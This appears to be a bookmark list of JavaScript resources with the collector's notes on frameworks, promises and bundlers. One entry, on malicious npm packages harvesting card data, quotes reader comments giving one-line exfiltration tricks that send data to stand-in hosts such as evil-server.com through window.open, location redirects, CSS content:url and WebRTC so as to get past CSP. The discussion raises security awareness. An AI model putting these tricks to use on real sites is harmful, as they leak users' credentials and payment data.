dandv + javascript   317

Using ES6 Generators To Short-Circuit Hierarchical Data Iteration - DerickBailey.com
Use cases for generators:
* Iterating over long/infinite data structures...
* ...with control from the caller / Inverting iteration control (this post)
* Recursively walking a directory tree without a callback - https://www.reddit.com/r/javascript/comments/5ifxk4/practical_use_case_for_a_generator/db88mbw/
JavaScript  iterators  generators 
9 days ago by dandv
RebirthDB/rebirthdb: The open-source database for the realtime web.
"RebirthDB is a community-developed fork of RethinkDB which was the first open-source scalable database built for realtime applications. It exposes a new database access model -- instead of polling for changes, the developer can tell the database to continuously push updated query results to applications in realtime."

* NoSQL database that stores schemaless JSON documents
* Distributed database that is easy to scale
* High availability database with automatic failover and robust fault tolerance

Via https://github.com/rethinkdb/rethinkdb/issues/6698

See also gun.eco
realtime  database  web  JavaScript  Firestore  alternative 
5 weeks ago by dandv
I’m harvesting credit card numbers and passwords from your site. Here’s how.
Extremely legit concern.


* npm package compromises did happen, e.g.
* https://github.com/conventional-changelog/conventional-changelog/issues/282#issuecomment-365367804
* https://www.bleepingcomputer.com/news/security/somebody-tried-to-hide-a-backdoor-in-a-popular-javascript-npm-package/
* https://www.theregister.co.uk/2017/08/02/chrome_web_developer_extension_hacked/

* Any way to prevent outgoing connections through
`window.open(‘https://legit-analytics.com?q=${payload}', ‘_blank’).close()` with CSP?
A: Wow, didn’t think of that and no, I don’t know if CSP can prevent that.

* "Not just NPM… Think of Joomla extensions or WordPress plugins. A nice way to compromise millions of “traditional” PHP based websites"

* "It isn’t that far from the truth. Something similar is happening already: https://blog.sucuri.net/2017/10/credit-card-stealer-investigation-uncovers-malware-ring.html"

* "Typosquatting attacks apply to any software dependency not just open source and not just npm. Malicious submissions happen in the walled garden Apple App Store and Google Play stores, but since they hold moderation capability centrally and have a large volume of paid staffers, they can do something about it faster than volunteers typically do. A fake WhatsApp app on Google Play store was downloaded by more than 1 million people before it was taken down.

This is definitely a conversation we need to have.

Surprised there was no mention of delayed attacks (e.g., gain trust, gain users, then inject malicious changes in a future version).

Another variation on this would be to approach maintainers (say 10k+ download Firefox or Chrome extension authors, or WordPress authors) and offer them a “custom” advertising program if they just install your code you pay them… maybe your ads seem easy or exceptionally non-intrusive, but that’s because the ads are not the true goal."

* "This is scary and let’s not forget the server side.
Node.js is becoming popular on the server side and backend developers are also using a lot of NPM dependencies without vetting them thoroughly.
For example an Express middleware module should be able to gather the same data and forward it wherever (…and there are a lot of Express middleware modules in the NPM repository).

Although there are perhaps more possibilities on the server side to prevent malicious code from communicating back (for example using network limitations) — I wouldn’t be surprised if most front facing Node.js servers had little limitations to what Internet hosts they could communicate with."

* "you could use webrtc datachannels for sending out data.. it is not affected by CSP at all .. yet..


* "At the end of the day, if you can do document.location = https://evil-server.com/bounce?q=data (e.g. in a form submit event) and bounce back to the original site quickly enough, you can get data out."

* "If the CSP doesn’t define a style-src you could use insertRule to add some css.
e.g. something::after { content:url(“evilserver.com/userdatastring”) }"

* "Yeah, Google Tag Manager scripts are super-dangerous, it’s so easy for someone to push a nasty script targeted at your site one day, then remove it the next."

* Chrome extensions with "Access data on all sites you visit" can easily swap crypto addresses on exchange sites with their own.

* "About npm, I’d add that an easy way to increase the level of trust of a package is to release many ‘patch’ versions per day. This artificially increases the number of downloads, because of the tons of services spending their time to spot package updates (CI tools, stats services and others)."
JavaScript  code  injection  attack  hack  security  against  npm  open-source 
9 weeks ago by dandv
kamranahmedse/driver.js: A light-weight, no-dependency, vanilla JavaScript engine to drive the user's focus across the page
highlight any (literally any) element on page
create powerful feature introductions for your web applications
Everything is controllable by keyboard
demo  tour  JavaScript  UI  library  popover  popup 
10 weeks ago by dandv
Here are examples of everything new in ECMAScript 2016, 2017, and 2018
padStart method to easily zero-pad

for await of - run promises in sequence
named regex groups, lookbehind
rest properties for objects: easy to remove unwanted properties - const { SSN, ...cleanObj } = person;
spread properties for objects: merge objects
JavaScript  new  features 
12 weeks ago by dandv
s-ago - minimalistic human-friendly relative timestamp package
No dependencies. No localization BS. Test suite. Documented output. Configurable thresholds and outputs.
timeago  JavaScript  library 
february 2018 by dandv
GoogleChrome/puppeteer: Headless Chrome Node API
Most things that you can do manually in the browser can be done using Puppeteer! Here are a few examples to get you started:

* Generate screenshots and PDFs of pages.
* Crawl a SPA and generate pre-rendered content (i.e. "SSR").
* Scrape content from websites.
* Automate form submission, UI testing, keyboard input, etc.
* Create an up-to-date, automated testing environment. Run your tests directly in the latest version of Chrome using the latest JavaScript and browser features.
* Capture a timeline trace of your site to help diagnose performance issues.
Chrome  browser  automation  headless  JavaScript 
october 2017 by dandv
Generating Documentation for TypeScript Projects
In TypeScript, add member descriptions in a comment above each member:

/** Class representing a point. */
class Point {
/** The x coordinate */
public x: number
/** The x coordinate */
TypeScript  versus  JSDoc  comparison  JavaScript  documentation 
july 2017 by dandv
Migrating to Jest – Kent C. Dodds – Medium
The top 3 modern Node module boilerplates also use Jest instead of Ava. The getting started is very simple: http://facebook.github.io/jest/docs/en/getting-started.html

Assertion library included; no mocha/chai/sinon nonsense.
JavaScript  testing 
june 2017 by dandv
Add jsnext:main support by dandv · Pull Request #24 · diegohaz/nod
jsnext:main has been superseded by pkg.module (which might get standardized - https://nodesource.com/blog/es-modules-and-node-js-hard-choices/), popular modules like redux and three.js still declare (only) jsnext:main - http://shuheikagawa.com/blog/2017/01/05/main-jsnext-main-and-module/
ES6  modules  JavaScript  Dascalescu 
june 2017 by dandv
Using promises - JavaScript | MDN
Sequential composition is possible using some clever JavaScript:

[func1, func2].reduce((p, f) => p.then(f), Promise.resolve());
Basically, we reduce an array of asynchronous functions down to a promise chain equivalent to: Promise.resolve().then(func1).then(func2);
JavaScript  promises  sequence 
june 2017 by dandv
Notify maintainers of similar libraries · Issue #11 · component/textarea-caret-position
Kinda proud of how I phrased it:

"We've uncovered some cool tricks on getting the (x, y) position of the caret in a textarea and in the true spirit of open source, it would be nice to notify the maintainers of similar libraries. Some may choose to honorably deprecate their libraries and point users to this one; others might want to incorporate what we've learned and increase the quality of their solutions; and hopefully others will contribute to textarea-caret-position as well (we still have some bugs!)."
Dascalescu  JavaScript  prior  art  library  comparison  notify  competition 
may 2017 by dandv
Added naming conventions for UPPERCASE use cases. by estelle · Pull Request #255 · airbnb/javascript
Initialisms like HTTP, XML, USA, JSON, etc should always remain capitalized (or be entirely lowercased), and never camelCased or PascalCased.

"HttpUrlConnection" because "HTTPURLConnection" is an abomination
-- https://www.approxion.com/?p=303
variable  method  naming  convention  JavaScript  identifier 
may 2017 by dandv
A crash course in just-in-time (JIT) compilers ★ Mozilla Hacks – the Web developer blog
[[JIT makes JavaScript run faster by monitoring the code as it’s running it and sending hot code paths to be optimized. This has resulted in many-fold performance improvements for most JavaScript applications.

Even with these improvements, though, the performance of JavaScript can be unpredictable. And to make things faster, the JIT has added some overhead during runtime, including:

optimization and deoptimization
memory used for the monitor’s bookkeeping and recovery information for when bailouts happen
memory used to store baseline and optimized versions of a function
There’s room for improvement here: that overhead could be removed, making performance more predictable. And that’s one of the things that WebAssembly does.]]
how  JavaScript  compiler  works 
april 2017 by dandv
10 things I learned making the fastest site in the world (2016-Dec)
Use Preact instead of React or preact-compat.

Whenever I feel reluctant to throw out some work, I recall that life is pointless, and nothing we do even exists if the power goes out.

if you can get all your CSS into your HTML and keep the lot under 14 KB, do it.

To generate a hash for a file's contents:
const fileHash = crypto.createHash('md5').update(fileContents).digest('hex');

Code to load polyfills only when needed.

Registering a service worker with sw-precache is only 16 lines of code.

Don't use custom fonts. The native ones look very nice:
font-family: "Helvetica Neue", "Calibri Light", Roboto, sans-serif;
web  app  site  performance  JavaScript  webpack  webdev 
march 2017 by dandv
Awesomplete: Ultra lightweight, highly customizable, simple autocomplete, by Lea Verou
Ultra lightweight, customizable, simple autocomplete widget with zero dependencies, built with modern standards for modern browsers.
autocomplete  JavaScript  widget  Lea-Verou 
january 2017 by dandv
Home | Aurelia
"JavaScript client framework for mobile, desktop and web leveraging simple conventions and empowering creativity.

Written with next-generation EcmaScript. Integrates with Web Components. No external dependencies.

Two-Way Databinding

advanced client-side router with its pluggable pipeline, dynamic route patterns, child routers and asynchronous screen activation"
JavaScript  client  framework 
december 2016 by dandv
Introducing splittable – Medium
Far simpler than Webpack or Closure. By Googler Malte Ubl.

* all module code is compiled away leading to zero per-module overhead (similar to Rollup).
* all code is subject to dead code elimination (tree shaking) including private functions, classes, methods, and other declarations.
* module code is split apart across bundles (so that functions that are not called in a bundle get moved to the bundle where they are called, or removed).
code  splitting  JavaScript  library 
december 2016 by dandv
Frameworks without the framework: why didn't we think of this sooner? • Svelte
Svelte is fast as heck. It's faster than React. It's faster than Vue. It's faster than Angular, or Ember, or Ractive, or Preact, or Riot, or Mithril.

The Svelte implementation of TodoMVC weighs 3.6kb zipped. For comparison, React plus ReactDOM without any app code weighs about 45kb zipped. It takes about 10x as long for the browser just to evaluate React as it does for Svelte to be up and running with an interactive TodoMVC.
JavaScript  web  framework  vanilla  fast  speed  performance 
december 2016 by dandv
JavaScript on mbed | mbed
"With mbed OS 5 you can use JavaScript to write the code for your IoT devices. It combines a small JavaScript VM with a professional and well-tested ecosystem, allowing you to write fast, secure and battery-efficient applications that run on a $2 microcontroller."

Recommended by https://youtu.be/3HLRwcVqgFE?t=641
JavaScript  IoT  embedded 
december 2016 by dandv
How it feels to learn JavaScript in 2016
Not mentioned, but the REAL reason this whole BS is worth it, is async/await.
against  JavaScript  library  framework  fragmentation  paradox  choice 
november 2016 by dandv
Comparing Riot with React and Polymer · Riot.js
User interface micro-library similar to React, but 5x smaller. 6x smaller than Polymer + WebComponents.
React  alternative  JavaScript  framework  webdev 
october 2016 by dandv
Must See JavaScript Dev Tools That Put Other Dev Tools to Shame – JavaScript Scene – Medium
[[JavaScript has the richest array of developer tools I’ve ever seen for any language. As you can see, it’s more of a patchwork than a cohesive IDE environment, but we’re in a cambrian explosion period of JavaScript development.

TL;DR quick list:
* Atom & atom-ternjs
* Chrome Dev Tools
* PageSpeed Insights
* Firefox Developer Edition
* Browsersync
* TraceGL
* node inspect debugger
* ESLint
* rtype (the spec) & rfx (the library) Warning: These are unfinished developer previews.
* Babel
* Greenkeeper.io & updtr
* React
* Webpack + Hot module replacement
* Redux + Redux DevTools]]
JavaScript  developer  tools 
october 2016 by dandv
On abandoning Gulp – Bernie Sumption's Blog
[[Keith Cirkel recently wrote that we should stop using Grunt & Gulp for building frontend code and just use NPM scripts instead. This post is about my experience converting an existing app to use this pattern.

tl;dr: win. People should listen to Keith.]]
JavaScript  bundling  against  Gulp 
september 2016 by dandv
Why we use progressive enhancement to build GOV.UK | Technology at GDS
Stuart Langridge gave an excellent explanation of the many ways your JavaScript can fail to run. A non-exhaustive list includes the:

* script hasn’t finished loading, or has stalled and failed to load completely
* application route is up, but the route to the Content Delivery Network is broken
* user has chosen to install a plugin that interferes with the Document Object Model (DOM)
* user has been infected with a plugin that interferes with the DOM
* user’s company has a proxy that blocks some or all JavaScript
* user’s hotel is intercepting the connection and injecting broken JavaScript
* user’s telecoms provider is intercepting the connection and injecting broken JavaScript
* user’s country is intercepting the connection and injecting broken JavaScript
* JavaScript code has functions not implemented by your user’s browser (older browsers, proxy browsers)

There’s also the small number of users who choose to turn off JavaScript manually. What with rampant cross-domain user tracking by advertisers, as well as tracking through analytics and through social media, not to mention malware installation through ad networks, the receipt of unwanted email and the impact on page speed and battery life, it’s not surprising that some people choose to do this. The NoScript Firefox add-on is now the 5th most popular extension with over 2 million users.
progressive  enhancement  accessibility  JavaScript  disabled 
september 2016 by dandv
25. Promises for asynchronous programming
When encountering programmer errors (e.g. incorrect argument type), throw as quickly as possible.

When encountering operational errors (e.g. can't access resource, out of memory), promise-based functions should reject, not throw.

"If exceptions are thrown inside the callbacks of then() and catch() then that’s not a problem, because these two methods convert them to rejections."

Mirror at http://2ality.com/2016/03/promise-rejections-vs-exceptions.html
error  handling  JavaScript  exception  promise  throw 
september 2016 by dandv
Polymer 2.0 Preview - Polymer Project
+ ES6 classes
+ Upgrades to v1 Custom Elements, which are being shipped by multiple browsers beginning fall 2016
+ Smooth migration from Polymer 1.x
Polymer  web  components  JavaScript  library 
september 2016 by dandv
Javascript (and Node.js) Continues To Eat The World – Presence Press – Medium
JavaScript 4eva

"In three months from today, 98% of all Walmart.com traffic will be serviced via Node APIs and displayed with React.js according to Alex Grigoryan, Director of Software Engineering at WalMart Labs. Three months after that, SamsClub.com, Walmart’s second biggest property, will be 100% javascript based. Even their iOS and Android experiences will eventually be done in React Native, a javascript technology that’s made to replace native Java/Objective C coding."
JavaScript  adoption  advocacy  everywhere 
september 2016 by dandv
The State Of JavaScript: Front-End Frameworks – Medium
React more popular and more satisfying than Angular 1 and 2. Vue is interesting. Ember and Backbone suck.
JavaScript  frameworks  survey  2016 
september 2016 by dandv
Why I Write Plain JavaScript Modules
"developing a library that specifically targets a framework is a waste of your time, because when you eventually move on to the next framework (this is JavaScript, you will) you’ll kick yourself over tightly coupling the library to the framework

We’ve been relying for too long – far too long – on jQuery. Most popular UI components are tied to jQuery, part of a comprehensive framework – and it’s usually hard to extract the component as a standalone library."
vanilla  against  JavaScript  libraries  frameworks  tight  coupling 
september 2016 by dandv
ES6 Promises in Depth
"you’ll probably want to state the reason for your rejections – typically using an Error object"
promises  tutorial  JavaScript  best  practices  reject  Error 
september 2016 by dandv
The cost of small modules | Read the Tea Leaves
[[(Note that it pains me to say this, since I’m a diehard Browserify fanboy.)
However, these results clearly show that Webpack and Browserify both underperform compared to Rollup and Closure Compiler, and that the gap widens the more modules you add. Unfortunately I’m not sure Webpack 2 will solve any of these problems

Given these results, I’m surprised Closure Compiler and Rollup aren’t getting much traction in the JavaScript community. I’m guessing it’s due to the fact that (in the case of the former) it has a Java dependency, and (in the case of the latter) it’s still fairly immature and doesn’t quite work out-of-the-box yet]]
rollup  closure  against  browserify  webpack  JavaScript  frontend  performance 
august 2016 by dandv
samccone/The-cost-of-transpiling-es2015-in-2016: Investigating the overhead cost of compiled es2015
"There are a lot of tools to compile es2015 to es5. When choosing your compile stack you should be aware that tools that perform tree shaking and topological sorts of your code dependencies (e.g. Rollup, used by jspm - https://github.com/rollup/rollup#how-does-this-compare-to-jspmsystemjs, or closure) will result in smaller code bundles and faster JavaScript execution times."

Closure is even smaller than the jspm by ~25%! (but takes 4x longer to run)
jspm  Rollup  against  browserify  JavaScript  module  performance  ES2015  transpile 
august 2016 by dandv
how I write modules
Except that you should search on npms.io instead.
JavaScript  best  practice  howto  small  modules 
august 2016 by dandv
WebGazer.js: Democratizing Webcam Eye Tracking on the Browser
Open source client-side-only eye tracking library

"WebGazer.js is an eye tracking library that uses common webcams to infer the eye-gaze locations of web visitors on a page in real time. The eye tracking model it contains self-calibrates by watching web visitors interact with the web page and trains a mapping between the features of the eye and positions on the screen. WebGazer.js is written entirely in JavaScript and with only a few lines of code can be integrated in any website that wishes to better understand their visitors and transform their user experience. WebGazer.js runs entirely in the client browser, so no video data needs to be sent to a server. WebGazer.js runs only if the user consents in giving access to their webcam."
eye  tracking  webdev  JavaScript  library 
august 2016 by dandv
An update (March 2016) on the current state & recommendations for JavaScript ...
You don't have to server-side render for Google, but some advanced APIs aren't supported either - use polyfills.

Avoid fragment URLs.
SEO  Google  JavaScript  client  content  rendering  PWA 
august 2016 by dandv
simpl.info - simplest HTML/CSS/JavaScript examples
"This site aims to provide simplest possible examples of [advanced] HTML, CSS and JavaScript [functionality]", e.g. getUserMedia() or <datalist> for autocomplete.

Not organized by functionality, but by tag or function name.
HTML  CSS  JavaScript  canonical  simplest  examples 
august 2016 by dandv
developit/preact: Fast 3kb React alternative with the same ES6 API. Components & Virtual DOM.
Preact retains a large amount of compatibility with React, but only the modern (ES6 Classes and stateless functional components) interfaces. As one would expect coming from React, Components are simple building blocks for composing a User Interface.
React.js  alternative  JavaScript  library 
june 2016 by dandv
DroidScript - JavaScript IDE - Android Apps on Google Play
"Easily write Apps for your phone or tablet using JavaScript. Edit your code using our easy-to-use WiFi editor, or just edit code directly on your device. You can choose to make either Native style or HTML5 style Apps, or make Hybrid Apps using the built-in WebView control."
Android  JavaScript  IDE 
june 2016 by dandv
A String is not an Error | Guillermo Rauch's Devthought
Don't throw strings, because Error objects have special properties that aid debugging.
JavaScript  throw  Error 
june 2016 by dandv
ES2015 Destructuring
Insanely detailed book chapter to destructuring, between a tutorial and a reference.
ES2015  destructuring  JavaScript  best 
june 2016 by dandv
JavaScript library wrapping IndexedDB and WebSQL, with fallback to localStorage for old browsers (incl. Safari mobile)
* simple API: setItem, getItem, removeItem, iterate
* ES6 Promises support
* can implement custom driver, see https://github.com/localForage/localForage/wiki/Custom-Drivers

See http://dexie.org/ for a library with more advanced querying.
offline  local  browser  storage  IndexedDB  alternative  webdev  database  JavaScript  library 
june 2016 by dandv
Understanding JavaScript’s async await
Detailed article on using async/await with promises.

"Async Functions really are syntactic sugar on top of generators and promises, which makes it important that you understand how each of these things work in order to get a better understanding into how you can mix, match, and combine these different flavors of asynchronous code flows together."
JavaScript  async  await 
june 2016 by dandv
ES6 Overview in 350 Bullet Points
Starting with ES2016 (ES7), we should start using the ES[YYYY] pattern to refer to newer versions
ES2015  ES6  summary  changelog  reference  JavaScript 
june 2016 by dandv
Up in the air! It's async, it's await, it's ES7!
await takes a promise, waits for its value to be available, and then returns that value:

async function(request, response) {
try {
var user = await User.get(request.user);
var notebook = await Notebook.get(user.notebook);
response.send(await doSomethingAsync(user, notebook));
} catch(err) {

await gives you explicit control over concurrency. Combine with Promise.all, which will wait for every promise to finish and then finish itself, to write powerful and yet easy to understand asynchronous code.
ES7  JavaScript  async  await  basic  intro 
june 2016 by dandv
nlp-compromise: a cool way to use natural language in javascript
JavaScript library achieving 86% on the Penn treebank. No dependencies, training, configuration, or prolog. 3k stars on GitHub. For even better accuracy, see Google's SyntaxNet.

Pluralize, negate, change tense, determine articles and pronouns, part-of-speech tagging, sentence segmentation, number comprehension, Syllable hyphenization, US-UK localization, contractions
natural  language  processing  NLP  parsing  JavaScript  library 
may 2016 by dandv
FOAM Framework
"Our Gmail app is 150KB unzipped."

FOAM is an open-source modeling framework developed at Google.

With FOAM, you create a model, and FOAM can support many features based on it:

* A (Javascript, Java or Swift) class, with diff(), clone(), and more.
* Serialization to and from JSON, XML and protocol buffers.
* Storage in many places, from IndexedDB to MongoDB.
* Query parsers and a query optimizer.
* Offline-friendly syncing, and many flavours of caching.
* Customizable detail and summary views for HTML, Android and iOS.

FOAM combines these features with reactive programming, an MVC library, and a suite of view components for each platform. The result is a full-stack framework for building modern, cross-platform apps.
cross-platform  application  framework  JavaScript 
may 2016 by dandv
« earlier      
per page:    204080120160

related tags

2followup  3.11  3D  accessibility  acronyms  addon  Addy  admin  adoption  advantage  advantages  advocacy  AES  against  AJAX  alert  alternative  analysis  analytics  Android  Angular  angular.js  animation  animuson  annoying  anonymity  answer  anti  API  app  application  apps  AR  architecture  array  art  article  Asimov  ASP  async  asynchronous  attack  attributes  audio  audit  augmented  autocomplete  autocompletion  autolink  automation  await  awareness  AWS  aync  babel  Back  base64  basic  beautiful  beautify  benchmark  best  best_practices  bind  bioinformatics  block  Bloomberg  book  bookmarklet  Bootstrap  break  breakout  broken  browser  browserify  browsing  build  bundle  bundling  business  bypass  C  callback  CamelCase  canonical  canvas  catch  CDN  chaining  change  changelog  character  chart  charts  check  checking  choice  Chrome  chunking  class  client  closed  closure  cloud  co-browsing  cobrowsing  coco  code  CodeMirror  coding  CoffeeScript  collaboration  color  colorpicker  comments  comparison  compatibility  competition  compiler  component  components  compound  compress  concurrency  conference  confusion  console.log  constructor  consumption  container  content  control  convention  convert  cookbook  cookie  cookies  cool  copter  copy  cosmology  countdown  coupling  CPAN  crawlable  crazy  cross-platform  crypto  CSS  CSS3  CSV  custom  D3  Dascalescu  data  databas  database  datatable  debounce  debug  debugger  debugging  debunk  decode  Defender  definition  delayed  Delphi  demo  DES  design  desktop  destructuring  detect  developer  development  devtools  DHTML  diagram  dialect  dialog  difference  disable  disabled  DNA  Document  documentation  dojo  DOM  download  drag  draw  drone  drop  Dropbox  duplicate  dygraphs  dynamic  dynamically  edge  edit  editable  editor  EFF  effect  element  elements  eliminate  embed  embedded  Ember  emulator  encapsulation  encode  encoding  engine  engineer  enhancement  entity  epic  error  ES  ES6  ES7  ES2015  escape  evasion  everywhere  evil  example  examples  exception  execution  explain  exploit  extension  ExtJS  eye  Facebook  factorization  fade  false  fast  favicon  features  fibers  file  filter  fingerprint  firebug  Firefox  Firestore  firewall  fix  flamechart  Flash  font  for  fragmentation  framework  frameworks  freelancer  freeware  front-end  frontend  full  full-stack  fun  function  Future  futures  fuzzy  gallery  galleryy  game  generate  generators  Geoff  GitHub  global  Go  google  graph  graphics  grid  Growl  GUI  guide  guidelines  guides  Gulp  hack  hackathon  Handlebars  handling  hash  HD  headless  help  helpers  highlight  hijack  hire  hiring  history  host  hosting  hotlink  how  howto  HTML  HTML5  humor  hyperlink  IDE  identifier  identifiers  identify  idiot  IE  IIFE  image  IndexedDB  inheritance  injection  inspect  interactive  interest  interval  intro  invocation  IoT  issue  ISV  iterators  jank  Java  javascript  joke  jQuery  JS  JSDoc  JSON  jspm  Kendo  language  layout  Lea-Verou  leak  leaks  learn  learning  libraries  library  link  linkify  lint  list  load  loading  local  logging  LOL  loop  manager  manual  map  Maps  match  material  math  MD5  measure  media  members  memory  menu  mess  meteor  method  mirror  mobile  modal  Model  modern  module  modules  monitoring  Mozilla  MP4  multi-word  name  namespace  naming  native  natural  network  new  NLP  node  Node.js  nostalgia  notification  notify  npm  number  obfuscate  object  objects  odd  offline  online  only  OOP  open  open-source  opensource  Opera  optimization  optimize  oriented  origin  Osmani  override  overview  page  panel  paradox  parallel  parser  parsing  password  paste  pattern  patterns  pause  payments  performance  Perl  PhantomJS  philosophy  photo  PHP  picker  planning  plot  plotter  plugin  policy  pollution  Polymer  popover  popular  popularity  popup  practical  practice  practices  press  pretty  prime  principles  print  prior  privacy  private  privileged  processing  profile  profilers  programming  progressive  promise  promises  prompt  propaganda  property  prototype  public  publish  pushState  PWA  Python  questions  quirks  Ractive  range  React  React.js  reactive  ReactJS  reality  realtime  reference  reflow  regexp  reject  relational  reload  remote  rendering  replace  reporting  repository  resource  responsive  resume  retro  reusable  reverse  Rhino  rich  ripples  roadmap  robotics  rollup  Romanian  Ruby  run  Safari  same  sample  sanitize  save  Schmid  scrape  scraper  scraping  screen  script  search  security  Sencha  SEO  sequence  series  server  service  SHA-1  SHA-2  share  shared  sharing  shatter  short  simplest  simplicity  simplification  singleton  site  size  sleep  slider  slideshow  small  software  sort  sortable  sound  source  speech  speed  splitting  SQL  StackExchange  StackOverflow  standard  state  states  static  statistics  storage  story  string  study  style  sucks  summaries  summary  surveillance  survey  SVG  SWF  sync  syntax  table  technology  test  testing  text  theme  thrashing  throttle  throw  tight  time  timeago  timeline  timer  timstamp  TinyMCE  tips  Toastmasters  toolkit  tools  top  touch  tour  tracing  track  tracker  tracking  transpile  tree  treemap  tricks  try  tutorial  tutorials  tynt  type  typeahead  TypeScript  UI  Unicode  union  unique  upload  URL  USA  use  utilities  validate  vanilla  variable  verify  versus  video  virtual  virus  visual  visualization  visualize  VR  vulnerability  Wakanda  walkthrough  watch  water  web  web2.0  webdesign  webdev  WebGL  webix  webpack  website  weird  why  widget  widgets  wiki  Windows  without  wizard  works  wrong  WYSIWYG  XHTML  XML  XMLHTTP  XMLHttpRequest  XSS  YouTube  yslow  Zeto  Zombie.JS  zoom 

Copy this bookmark: